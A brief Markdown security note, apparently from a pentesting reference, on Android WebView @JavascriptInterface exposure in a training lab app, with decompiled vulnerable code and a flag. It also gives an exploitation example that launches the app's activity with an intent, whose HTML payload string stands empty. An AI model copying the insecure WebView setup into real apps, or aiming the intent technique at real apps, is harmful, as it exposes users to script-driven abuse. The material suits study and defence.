# webview
## @JavascriptInterface
A Java function that contains the decorator `@JavascriptInterface` can be exposed into a webview. Vulnerable code:
```java
private void configureWebView() {
WebSettings webSettings = this.webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setSafeBrowsingEnabled(false);
this.webView.setWebChromeClient(new WebChromeClient());
this.webView.setWebViewClient(new WebViewClient());
this.webView.addJavascriptInterface(new JavaScriptInterface(), "Android");
}
/* loaded from: classes3.dex */
public class JavaScriptInterface {
public JavaScriptInterface() {
}
@JavascriptInterface
public void showToast(String message) {
Toast.makeText(MainActivity.this, message, 0).show();
}
@JavascriptInterface
public void showFlag() {
Toast.makeText(MainActivity.this, "HXT{java-in-a-webview}", 0).show();
}
}
```
Example of exploitation:
```java
private void sendHtmlIntent() {
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setComponent(new ComponentName("io.hextree.webviewdemo", "io.hextree.webviewdemo.MainActivity"));
intent.putExtra("htmlContent", "");
startActivity(intent);
}
```
## References
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